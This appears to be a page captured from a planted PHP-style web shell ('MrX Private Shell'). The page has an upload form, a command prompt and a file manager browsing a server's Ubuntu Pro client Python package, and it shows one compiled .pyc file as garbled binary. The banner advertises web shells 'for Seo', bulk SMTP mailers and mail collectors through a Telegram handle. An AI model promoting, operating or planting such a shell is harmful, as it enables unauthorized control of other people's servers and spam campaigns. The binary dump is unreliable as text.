__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

~C�gy
���SrSSKrSSKJr SSKJr SSKJrJ	r	J
r
 SSKJrJ
r
 SSKJr SSKJr S	rS	rS
\4SjrS
\\4SjrS
\\4S
jrg)z"
Client version related functions
�N)�inf)�Optional)�get_apt_cache_time�get_pkg_candidate_version�version_compare)�CANDIDATE_CACHE_PATH�UAC_RUN_PATH)�ProcessExecutionError)�subp�35�returnc��[RS5(d[$[RR	[RR	[
55n[RR
[RRUS55(a"/SQn[U5up#UR5$[$![a [$f=f)a+Return the packaged version as a string

Prefer the binary PACKAGED_VESION set by debian/rules to DEB_VERSION.
If unavailable, check for a .git development environments:
  a. If run in our upstream repo `git describe` will gives a leading
     XX.Y so return the --long version to allow daily build recipes
     to count commit offset from upstream's XX.Y signed tag.
  b. If run in a git-ubuntu pkg repo, upstream tags aren't visible,
     believe __VERSION__ is correct - there is and MUST always be a
     test to make sure it matches debian/changelog
z@@PACKAGED_VERSIONz.git)�git�describez
--abbrev=8z--match=[0-9]*z--long)�PACKAGED_VERSION�
startswith�os�path�dirname�__file__�exists�joinr�stripr
�__VERSION__)�topdir�cmd�out�_s    �2/usr/lib/python3/dist-packages/uaclient/version.py�get_versionr s����&�&�';�<�<���
�W�W�_�_�R�W�W�_�_�X�6�
7�F�	�w�w�~�~�b�g�g�l�l�6�6�2�3�3�K��	��#�Y�F�C��9�9�;�����%�	����	�s�(C�
C�Cc��[5=(d [n[RR	[
5(a([R"[
5RU:a[Sn[S5nU(aE[R"[SS9 [[
S5nURU5 SSS5 U$[[
S5nUR5R5sSSS5 $!,(df   U$=f![a
 UbUs$N^f=f!,(df   g=f![a gf=f)Nzubuntu-pro-clientT)�exist_ok�w�r)rrrrrr�stat�st_mtimer�makedirsr	�open�write�	Exception�readr)�last_apt_cache_update�candidate_version�fs   r�get_last_known_candidater//s
��/�0�7�C���G�G�N�N�/�0�0�
�7�7�'�(�1�1�4I�I� ��		)� 9�:M� N�� ����L�4�8��.��4���G�G�-�.�5�(�(�	!�
�
�&��
,���6�6�8�>�>�#�-�
,�5�4�(�(���	)� �,�(�(�-�	)��
-�
,�
���
���
�s`�+;D�&C<�8	D�D6�D%�2	D6�<
D�D�D�D"�!D"�%
D3�/D6�3D6�6
E�Ec�Z�[5nU(a[U[55S:�aU$g)Nr)r/rr )�	candidates r�check_for_new_versionr2Ls&��(�*�I��_�Y��
�>��B����)�__doc__�os.pathr�mathr�typingr�uaclient.aptrrr�uaclient.defaultsrr	�uaclient.exceptionsr
�uaclient.systemrrr�strr r/r2�r3r�<module>r>sb��������
A�5� ������S��2�(�3�-��:�x��}�r3

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 148 B 0644
actions.cpython-313.pyc File 18.6 KB 0644
apt.cpython-313.pyc File 43.75 KB 0644
apt_news.cpython-313.pyc File 11.98 KB 0644
config.cpython-313.pyc File 25.18 KB 0644
contract.cpython-313.pyc File 38.45 KB 0644
contract_data_types.cpython-313.pyc File 11.96 KB 0644
data_types.cpython-313.pyc File 20.03 KB 0644
defaults.cpython-313.pyc File 3.9 KB 0644
event_logger.cpython-313.pyc File 10.3 KB 0644
exceptions.cpython-313.pyc File 35.47 KB 0644
gpg.cpython-313.pyc File 1.34 KB 0644
livepatch.cpython-313.pyc File 16.32 KB 0644
lock.cpython-313.pyc File 6.38 KB 0644
log.cpython-313.pyc File 7.58 KB 0644
secret_manager.cpython-313.pyc File 1.64 KB 0644
security_status.cpython-313.pyc File 28.89 KB 0644
snap.cpython-313.pyc File 9.61 KB 0644
status.cpython-313.pyc File 33.61 KB 0644
system.cpython-313.pyc File 35.37 KB 0644
types.cpython-313.pyc File 573 B 0644
update_contract_info.cpython-313.pyc File 1.77 KB 0644
upgrade_lts_contract.cpython-313.pyc File 4.38 KB 0644
util.cpython-313.pyc File 17.73 KB 0644
version.cpython-313.pyc File 3.7 KB 0644
yaml.cpython-313.pyc File 1.97 KB 0644
Filemanager